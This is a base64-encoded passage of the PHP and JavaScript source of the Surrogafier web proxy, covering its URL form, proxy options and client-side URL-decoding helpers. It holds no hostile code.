FuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6I